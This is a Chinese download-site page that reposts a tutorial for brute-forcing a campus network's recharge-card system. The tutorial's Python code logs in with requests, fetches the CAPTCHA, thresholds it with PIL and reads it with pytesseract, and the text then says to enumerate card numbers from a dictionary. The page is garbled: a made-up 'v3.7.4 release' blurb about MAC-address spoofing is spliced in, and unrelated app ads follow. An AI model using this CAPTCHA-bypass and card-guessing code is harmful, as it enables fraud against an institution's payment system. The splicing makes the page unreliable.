python免费获取校园网是一款专业级的编程工具。先欢迎同学们开学啦!小编也是经历了学生时代,知道学生时代比较头疼的一些问题,校园网就是其中之一。校园网一直是坑爹一般的存在,别人都用上5G了,而我们学校却还停留在10块钱3个G的时代,也许你会说,用手机的流量就行了呀,但是学校有些资源还必须得要内网才能访问呀。然而我们知道,校园网的安全性根本就比不了那些公司,有很多大佬一直也在学校的学校的内网中遨游,我等只能膜拜,今天我们就一起来看看我是怎么变相破解校园网的。为什么说是变相呢,因为本文采用的方法没有你想的那么高大上,额。。。。。。,就是没有你想象的那么牛逼,原理其实很简单,就是学校开通了网上充值的通道,但是,这个通道必须的得要登录,而且还要验证码,所以本文也就基于python来模拟登陆且识别验证码,实现一个暴力破解充值卡的功能。
v3.7.4官方免费版正式发布!本次版本重点优化了多运营商兼容性,新增自动重连机制,大幅降低断线概率。功能方面:改进MAC地址伪装模块,支持更多品牌网卡;简化配置文件,一键适配主流校园网认证协议。用户反馈显示,新版在高峰期连接成功率提升约35%,延迟波动减少至50ms以内。感谢社区贡献的漏洞修复和功能建议,后续将持续完善多平台支持与加密传输特性。
开发团队致谢
思路整理:
1:request模拟登陆系统
2:进入充值界面
3:获取充值界面的验证码,并识别验证码
4:将卡号和验证码发送给服务器,获取结果
1:request模拟登陆系统
废话不多说(本人废话比较多,手动狗头.jpg)。登录页面是这样子的

第一次登录,是不要验证码的,所以,在登录的过程中,是不用识别验证码的,但是我们输入错了账号密码的话,会出现验证码

我们输入账号密码,登录抓包试试

显而易见,mode是登录,login是账号,passwd是admin,vcode是验证码,上面出现了vcode是因为我上次输错了账号密码,要输入验证码验证,但是我们加入第一次输对了账号密码就可以不用vcode
那么我们来看看服务器给我们返回的数据头(主要是setcookie)

哇,就只有phpsession一个,天助我也,在这里我用了requests的session()函数,这个可以保存服务器返回的cookie,下次用session发送就会带上上次的cookie,还挺好用。但是用了这么久,还是发现有些cookie保存不了,不知道是我太菜还是怎么地,还望大佬解答。输对了站好密码登录,然后进入个人信息页面(穷光蛋一个,希望各位自动忽略{:1_907:} )

以下是登录的代码:由于隐私问题,将host去掉了,反正也影响不大,只是给大家一个例子
from PIL import Image #用于处理验证码图片的库
import requests
import pytesseract #用于识别验证码的库
import re
from bs4 import BeautifulSoup #用于页面的信息提取
zh=input('请输入校园网账号:')
mm=input('请输入校园网密码:')
cardid=input('输入你要查询的充值卡号:')
session=requests.session()#用这个能够保存服务器返回的setcookie字段,就可以不用在下次的请求头中自己构造cookie了,还挺方便
def get_PHPSESSID():#获取会话id
head={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9,en;q=0.8',
'Connection':'keep-alive',
'Host':'...',
'Referer':'http://.../login.jsp?sourceurl=http://www.msftconnecttest.com/redirect',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}
cookie=session.get(url='http://.../zili/',headers=head)
print(session.cookies)

2、3:进入充值界面并获取充值界面的验证码,并识别验证码
充值界面如下:

想要获取充值或查询,那么我们得要获得验证码,然后将验证码的数字和充值卡号发送给服务器,那么验证码如何获取?看下面

发送这个请求,获得图片,保存在本地,然后将图片灰度化(就是变成黑白),提高识别率,返回识别结果,我们还是老看程序,边看边说
def get_img():#获取验证码保存到本地
head={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh - CN, zh;q = 0.9, en;q = 0.8',
'Connection':'keep - alive',
'Host':'...',
'Referer':'.../zili/myinfo.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}#请求头
session.get(url='http://.../zili/charge_card.php',headers=head,stream=True)#进入充值的界面
head1={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh - CN, zh;q = 0.9, en;q = 0.8',
'Connection':'keep - alive',
'Host':'...',
'Referer':'http://.../zili/charge_card.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}
result=session.get(url='http://.../zili/vcode.php',headers=head1)#获取图片,所返回的是一组数据流,也就是图片的数据
image = result.content#result.content代表返回的数据,赋值给image变量
with open(r'img/yzm.jpg', 'wb') as xiazai:#打开img文件夹下的yzm.jpg图片文件,wb代表以‘’二进制写”的方式打开,如果没有这个文件,会帮你建立这个文件,并将这个骚操作以xiazai来表示
xiazai.write(image)#将image里的数据写进xiazai操作打开的yzm.jpg文件中
经过上面的程序,我们就可以把验证码下载到本地,如下

但是这个图片是彩色的,我们得要把它变成灰色的,边看程序边说
def prc_pic():#处理下载的验证码
yzm=Image.open(r'img\yzm.jpg')#用image库里的Image打开yzm.jpg图片
yzm_l=yzm.convert('L')#将图片灰度化
yzm_l.save(r'img\jzm.jpg')#将生成的灰度图保存为jzm.jpg
yuzhi=150#定义一个阈值,大于这个值为黑色,小于这个值为白色
table = []#用来保存值的数组
for i in range(256):
if i < yuzhi:
table.append(0)
else:
table.append(1)
out = yzm_l.point(table, '1')
out.save(r'img\yzm1.jpg')
这里我们说一下,图片就是由矩阵组成,对于黑白图像,每个像素用一个字节数据来表示,而在彩色图像中,每个像素需用三个字节数据来表述。彩色图像可以分解成红(R)、绿(G)、蓝(B)三个单色图像,任何一种颜色都可以由这三种颜色混合构成。在图像处理中,彩色图像的处理通常是通过对其三个单色图像分别处理而得到的,每一幅图像在构成上,都是由一个个像素组成的矩阵,每一个像素为单元格。彩色图像的像素的由三原色(红,绿,蓝)构成元组,灰度图像的像素是一个单值(前边我们已经把图片灰度化了),每个像素的值范围为(0,255)这里我们定义一个阈值,大于这个阈值,就把这个点变为1,小于这个值,把他变为0,这里的0,1也就是黑白,我们一起来看看,处理后的图片
灰度图:

黑白图:

处理的效果还是挺好的,噪点少了很多,你可以调阈值来测试最好的处理效果
最后,就是识别图片,程序很简单
def shibie(): # 识别图片,返回结果
print("识别结果为"+pytesseract.image_to_string(r'img\yzm.jpg'))
return pytesseract.image_to_string(r'img\yzm.jpg')

4:将卡号和验证码发送给服务器,获取结果哈哈,现在万事具备,只欠东风,发送查询充值指令抓个包,卡号错了,但是发送的数据包已经知道了

所以,接下来就是不断的试充值卡号,反正验证码形同虚设,想怎么试就怎么试,那么怎么试卡号成功率才能大一点?就去买几张卡号,看看有什么规律嘛,生成一个字典,然后就可以一个个暴力破解了。
开发者其他应用

七猫免费阅读小说最新版41.6M234049人在玩七猫免费阅读小说下载安装app,七猫免费阅读小说app不一样的小说阅读神器,这里有着海量丰富小说应用资源,你想看的小说通过强大搜索引擎一键搜索即可,主要的是阅读小说还能够获取红包现金奖励哦。
下载
奇热漫画app安卓版25.5M13451人在玩奇热漫画是一款非常不错的漫画阅读软件,具有很多强大的阅读功能,奇热漫画app实时为你更新全网最新最热的动漫资源。平台拥有海量精彩漫画,官方正版漫画
下载
奇热小说app24.8M234499人在玩安卓奇热小说app是专为众多爱看小说的人士提供的手机看小说的软件,省流量极速免费看小说,海量热门小说任你看,喜欢小说的小伙伴不要错过,赶快下载奇热小说网手机版客户端体验吧
下载
2022快看漫画App最新版69.0M51448人在玩2022快看漫画,相信许多玩微博的小伙伴们都已经知道这款APP了。吵架归吵架,至于这款快看漫画App到底做得怎么样,只有试过才知道!
下载
豆瓣阅读客户端app70.2M9579人在玩豆瓣阅读app是一款为豆瓣的用户们量身定做的APP,在豆瓣阅读这里你可以看到更加符合豆瓣用户喜好的各类文字作品,而且目前书籍依然在持续增长中。
下载
追书神器官方版70.1M19679人在玩追书神器2022最新版是一款超级强力的小说导读助手,目前几大热门的小说连载网站均有关联,你可以通过它方便地寻找自己喜欢的书籍。
下载
腾讯动漫71.9M13609人在玩腾讯动漫寒假档,许多大人们认为动漫就是小孩子看的东西,但是大概从80后开始,动漫就成为了许多人生活中的一部分,如果你喜欢看动漫,可以来腾讯动漫吧,这里有最新动漫更新视频
下载
书旗小说免费版本32.7M22553人在玩书旗小说免费版下载安装,书旗小说免费版本是一款以书旗网海量小说为基础的在线/离线阅读器,集合在线阅读、本地阅读、书包下载、自动书签、智能搜索、阅读设置等多项人性化功能。
下载
搜狗阅读器app19.5M6809人在玩搜狗阅读是搜狗公司依托于搜狗搜索的丰富资源,为安卓用户打造的移动阅读应用产品。搜狗阅读海量图书即搜即看,新闻大事掌握在手,更有离线缓存、精品推荐、更新提醒等功能,让您随时随地享受阅读的快乐。
下载
起点读书app新版本202237.2M11875人在玩起点读书app新版本,又名起点看书,是起点中文网推出的一款阅读软件。它支持本地阅读并提供起点在线书库,具备多种格式的解析阅读功能
下载